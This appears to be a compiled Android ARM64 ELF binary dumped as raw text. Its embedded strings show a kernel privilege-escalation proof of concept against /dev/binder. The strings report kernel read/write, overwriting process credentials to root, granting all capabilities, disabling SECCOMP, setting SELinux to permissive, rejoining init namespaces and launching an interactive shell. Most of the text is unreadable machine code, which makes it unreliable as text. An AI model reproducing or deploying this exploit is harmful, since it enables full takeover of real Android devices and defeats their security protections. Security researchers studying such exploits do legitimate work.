33 lines
14 KiB
Plaintext
33 lines
14 KiB
Plaintext
|
ELF · Ð @ 2 @ 8 @ @ @ @ ø ø 8 8 8 �# �# h, h, h, ˜ À ˜, ˜, ˜, P P P ¼ ¼ Påtd Ð" Ð" Ð" $ $ Qåtd Råtd h, h, h, ˜ ˜ /system/bin/linker64 „ Android r17c 4988734 GNU ·iŒòÏqßMM0·þ3ï % + $
|
|||
|
|
*
|
|||
|
|
# ) ( ! ' % " & Ð 0 ñÿ 0 ñÿ 0 " ñÿ(@ R ' Ô Ê H “ € X À ž M ‹ ² , h, = C … ˜ å × é ¹ { > ˆ, Þ j M x, 0 o 7 _ ¥ libc.so prctl puts fork close __stack_chk_fail memset fcntl write __sF pipe read sleep printf socketpair errx __libc_init mmap open setns __errno wait ioctl system __cxa_atexit perror setbuf epoll_ctl epoll_create writev getuid err recvmsg libm.so libstdc++.so libdl.so _edata __bss_start _end main __PREINIT_ARRAY__ __FINI_ARRAY__ __INIT_ARRAY__ LIBC c
|
|||
|
|
\ Ø/ Ô à/ h, ð/ ˆ, ø/ x, è/ Ð. Ø. à. è.
|
|||
|
|
ð. ø. /
|
|||
|
|
/ / / / (/ 0/ 8/ @/ H/ P/ X/ `/ h/ p/ x/ €/ ˆ/ ! �/ " ˜/ # / $ ¨/ & °/ ' ¸/ ( À/ ) È/ * ð{¿©� ÐfGù";‘ Ö Õ Õ Õ� ÐjGùB;‘ Ö� ÐnGùb;‘ Ö� ÐrGù‚;‘ Ö� ÐvGù¢;‘ Ö� ÐzGùÂ;‘ Ö� Ð~Gùâ;‘ Ö� ЂGù<‘ Ö� ІGù"<‘ Ö� ЊGùB<‘ Ö� ÐŽGùb<‘ Ö� Ð’Gù‚<‘ Ö� ЖGù¢<‘ Ö� КGùÂ<‘ Ö� ОGùâ<‘ Ö� ТGù=‘ Ö� ЦGù"=‘ Ö� ЪGùB=‘ Ö� ЮGùb=‘ Ö� вGù‚=‘ Ö� жGù¢=‘ Ö� кGùÂ=‘ Ö� оGùâ=‘ Ö� ÐÂGù>‘ Ö� ÐÆGù">‘ Ö� ÐÊGùB>‘ Ö� ÐÎGùb>‘ Ö� ÐÒGù‚>‘ Ö� ÐÖGù¢>‘ Ö� ÐÚGùÂ>‘ Ö� ÐÞGùâ>‘ Ö� ÐâGù?‘ Ö� ÐæGù"?‘ Öà ‘ ý{¿©ý ‘@ ´ ?Öý{Á¨À_Ö‚ І Ð… Є Ðý{½© €Òý ‘ÆðGù£c ‘¥üGù„øGùBìGù¦ ù¥ ù¤ ùÙÿÿ—á ª‚ ÐàÿÿðB ‘ `?‘ßÿÿü_¼©öW©ôO©ý{©ýà ‘ÿÑVÐ;ÕÉ@ù �õ£ ‘�4‘— ð” ð À=©Ê ùà@¹‚@¹á 2ãC ‘à€=fÿÿ—À 5࣠‘2€Rá *µÿÿ—ˆ ð@ùêÝ—Ré2ªÕ»ràƒ ‘¨&
|
|||
|
|
©ª& ©Hÿÿ—€ 5à#@¹á€€Râ2¯ÿÿ— @qA Tpÿÿ—ó *s 4 1` T€@¹AŒR� ¨râ ªoÿÿ—à'@¹á£ ‘"€Rsÿÿ—á ª � P6‘;ÿÿ—à#@¹” Д" ‘â2áªAÿÿ— @ñA T ° @‘hÿÿ—à3 ‘&ÿÿ— ka T�v@ù �ˆ ð À6‘ ù&ÿÿ—È@ù©Ê@ù ë¡ Tÿ‘ý{C©ôOB©öWA©ü_ĨÀ_Ö �!°5‘à 2Hÿÿ— �!<6‘à 2Dÿÿ— �!Ø5‘à 2@ÿÿ—à 2!€R5ÿÿ—à 2÷þÿ— ° @‘@ÿÿ—à@¹‚@¹á 2ãC ‘ÿÿ— ° À‘8ÿÿ—à#@¹� Ð! ‘â2ÿÿ— @ñ Tà'@¹Gÿÿ— ° À‘,ÿÿ—à *>ÿÿ— �!6‘à 2 ÿÿ— �! 6‘à 2ÿÿ— �!¬6‘à 2ÿÿ—ÿÿ—üW½©ôO©ý{©ýƒ ‘ÿÃÑSÐ;Õi@ù ��4‘• ð” ð À=©ƒ ø @¹‚@¹á 2ã‘à€=Öþÿ—
|
|||
|
|
5àc‘2€Rá *%ÿÿ—‰ ð)@ù � AÃ= �éŸ ùé 2é£ ùéÝ—Rà€= EÃ=€R©Õ»r飩‰ ð)@ùè; ù¨Õ›RèÝ·rè¯ ùè 2)! ‘à 2á 2ãc‘â *é? ùà#€=è³ ùÿÿ—@ 5à_@¹ �!D7‘â 2Áþÿ— ñá TÊþÿ— 4 1à T€@¹AŒR� ¨râ ªÊþÿ—à[@¹èc‘)€Rá# ‘â2ÿ ùÿ ¹è§©ÿÿ©ÿ; ¹Ïþÿ—è£@ùé«@ùê³@ùá ª �(‹
|
|||
|
|
‹ 8‘Šþÿ—h@ù©ƒ]ø ëÁ TÿÑý{B©ôOA©üWèÀ_Ö �!°5‘à 2þÿ— �!7‘à 2©þÿ— �!L7‘à 2¥þÿ—à 2!€Ršþÿ—à 2\þÿ— ° @‘¥þÿ— @¹‚@¹á 2ã‘lþÿ— ° À‘�þÿ—à_@¹áƒ‘â 2yþÿ— À ñ Tà *©þÿ— �! 6‘à 2‰þÿ—tþÿ— �!¬7‘à 2„þÿ—ÿƒÑúg©ø_©öW©ôO©ý{©ýC‘XÐ;Õ@ù ° ‘è ùþÿ—à`²á2â 2C€R €å ªó`²ƒþÿ—ˆ ð ë ùa; T“ ðsb ‘àª+þÿ—@; 5 � �=‘á *.þÿ—ˆ ð ¹ }€R þÿ—ˆ ð ¹µþÿ—Fÿÿ—ˆ °õGùá ª a‘eþÿ— ° @‘Zþÿ—™ ð(@ù�‘.þÿ—ô ªŸ ¹`@¹â 2áª0þÿ— ñÁ4 Tš ð@@¹á ‘â 2 þÿ— ña4 Tõ@ù � À=‘áª
|
|||
|
|
þÿ—Ÿ ¹`@¹¡ ‘â 2 þÿ— ña2 T@@¹á ‘â 2 þÿ— ñ!2 Tõ@ù � >‘áªøýÿ—èXž’¨¿¿ò¶‹ � ”>‘áªñýÿ—ß.@òá2 Tè^“’ �¡‹ h?‘êýÿ—Ÿ ¹`@¹èl’’¡‹â 2üýÿ— ñA. T@@¹á ‘â 2êýÿ— ñ. Tá@ù � ¼?‘Øýÿ—(@ùŸ ¹`@¹â 2A ‘êýÿ— ñ, T@@¹á ‘â 2Øýÿ— ñÁ+ Tö@ù ° ‘áªÅýÿ—Ÿ ¹`@¹× ‘â 2áª×ýÿ— ñ¡) T@@¹á ‘â 2Åýÿ— ña) Tá@ù ° „ ‘³ýÿ—ÿ ùŸ ¹`@¹á ‘â 2Åýÿ— ña& T@@¹â 2᪳ýÿ— ñ!& TŸ ¹`@¹×2 ‘â 2᪷ýÿ— ñ¡% T@@¹á ‘â 2¥ýÿ— ña% Tá@ù ° À ‘“ýÿ—ÿ ùŸ ¹`@¹á ‘â 2¥ýÿ— ña" T@@¹â 2᪓ýÿ— ñ!" TŸ ¹`@¹×R ‘â 2᪗ýÿ— ñ¡! T@@¹á ‘â 2…ýÿ— ña! Tá@ù ° € ‘sýÿ—ÿ ùŸ ¹`@¹á ‘â 2…ýÿ— ña T@@¹â 2áªsýÿ— ñ! TŸ ¹`@¹×r ‘â 2áªwýÿ— ñ¡ T@@¹á ‘â 2eýÿ— ña Tá@ù ° ¼ ‘Sýÿ—ÿ ùŸ ¹`@¹á ‘â 2eýÿ— ña T@@¹â 2áªSýÿ— ñ! TŒýÿ—à 5ÿ ¹Ÿ ¹`@¹á ‘â 2Uýÿ— ña T@@¹Á’ ‘â 2Cýÿ— ñ! Tè—@²è ùŸ ¹`@¹á ‘â 2Fýÿ— ñ� T@@¹Á ‘â 24ýÿ— ñA Tè—@²è ùŸ ¹`@¹á ‘â 27ýÿ— ñ¡ T@@¹Áâ ‘â 2%ýÿ— ña Tè—@²è ùŸ ¹`@¹á ‘â 2(ýÿ— ñÁ T@@¹Á‘â 2ýÿ— ñ� T ° ‘=ýÿ—Ÿ ¹`@¹<žR( rµ‹â 2áªýÿ— ña T@@¹á ‘â 2ýÿ— ñ! Tö@¹ ° ü ‘á*ðüÿ—v 4 ° À ‘$ýÿ—ÿ ¹Ÿ ¹`@¹á ‘â 2þüÿ— ñ�
|
|||
|
|
T@@¹â 2áªìüÿ— ñ Ti ° €‘ýÿ— ° @‘ýÿ— ° P‘á *Ïüÿ—@
|
|||
|
|
ø7á2ðüÿ—@
|
|||
|
|
ø7 ° ‘ýÿ— ° ¸‘á *Äüÿ—à ø7á2åüÿ—à ø7 €Rêüÿ—à 4 ° @‘öüÿ—5@ùÿ ùŸ ¹`@¹á ‘â 2Ïüÿ— ñ¡ T@@¹â 2᪽üÿ— ña T5@ùÿ ùŸ ¹`@¹á ‘â 2Àüÿ— ñÁ T@@¹¡â ‘â 2®üÿ— ñ� T5@ùÿ ùŸ ¹`@¹á ‘â 2±üÿ— ñá T@@¹¡Â ‘â 2Ÿüÿ— ñ¡ T €R·üÿ—À 5 ° À‘ ° À‘Àüÿ— ° ô‘�üÿ—@ùé@ù ë Tý{E©ôOD©öWC©ø_B©úgA©à *ÿƒ‘À_Ö �!€9‘à 2¥üÿ— �!4:‘à 2¡üÿ— �!¼;‘à 2�üÿ— �!`<‘à 2™üÿ— ° Œ‘ ° ‘wüÿ—à 2üÿ— �!=‘à 2�üÿ— �!T=‘à 2‰üÿ— �!ì>‘à 2©üÿ— ° @
|
|||
|
|
‘ müÿ— ° @ ‘†üÿ—à 2˜üÿ— ï¾Þ þÿÿÿÿÿÿÿ hexdump_memory called with non-full line %08lx %02hhx | epoll_add pipe size fork read full pipe writev() returns 0x%x
|
|||
|
|
wait current_ptr == 0x%lx
|
|||
|
|
socketpair X write socket dummy byte write second chunk to socket recvmsg() returns %d, expected %lu
|
|||
|
|
kernel writes over PAGE_SIZE are messy, tried 0x%lx kernel_write failed to load userspace buffer kernel_write failed to overwrite kernel memory kernel reads over PAGE_SIZE are messy, tried 0x%lx kernel_read failed to read kernel memory kernel_read failed to write out to userspace mmap 4g aligned kernel_rw_pipe /dev/binder current->mm == 0x%lx
|
|||
|
|
current->mm->user_ns == 0x%lx
|
|||
|
|
kernel base is 0x%lx
|
|||
|
|
bad kernel base (not 0x...000) &init_task == 0x%lx
|
|||
|
|
init_task.cred == 0x%lx
|
|||
|
|
current->cred == 0x%lx
|
|||
|
|
euid == 0x%lx
|
|||
|
|
fsuid == 0x%lx
|
|||
|
|
SELinux status = %u
|
|||
|
|
/proc/1/ns/mnt open setns /proc/1/ns/net /system/bin/sh -i PARENT: Finished calling READV CHILD: Finished write to FIFO. CHILD: Doing EPOLL_CTL_DEL. CHILD: Finished EPOLL_CTL_DEL. should have stable kernel R/W now Capabilities set to ALL SELinux is already in permissive mode Re-joining the init mount namespace... Re-joining the init net namespace... SECCOMP is already disabled! Disabling SECCOMP SECCOMP disabled! Failed to disable SECCOMP! Setting SELinux to permissive Something went wrong changing our UID to root! Starting POC ;$ xíÿÿ@ Àïÿÿh òÿÿ� zR | $ 0íÿÿH X ž�“”•
|
|||
|
|
– —œ $ D PïÿÿD T ž�“”•
|
|||
|
|
œ , l lñÿÿ \ ž�“”•
|
|||
|
|
– —˜™š ÿÿÿÿÿÿÿÿ ÿÿÿÿÿÿÿÿ ÿÿÿÿÿÿÿÿ ñ ù h, ! x, ˆ, ` X
|
|||
|
|
a ¸. °
|
|||
|
|
8
|
|||
|
|
x ûÿÿo þÿÿo
|
|||
|
|
ÿÿÿo ðÿÿo  ùÿÿo °
|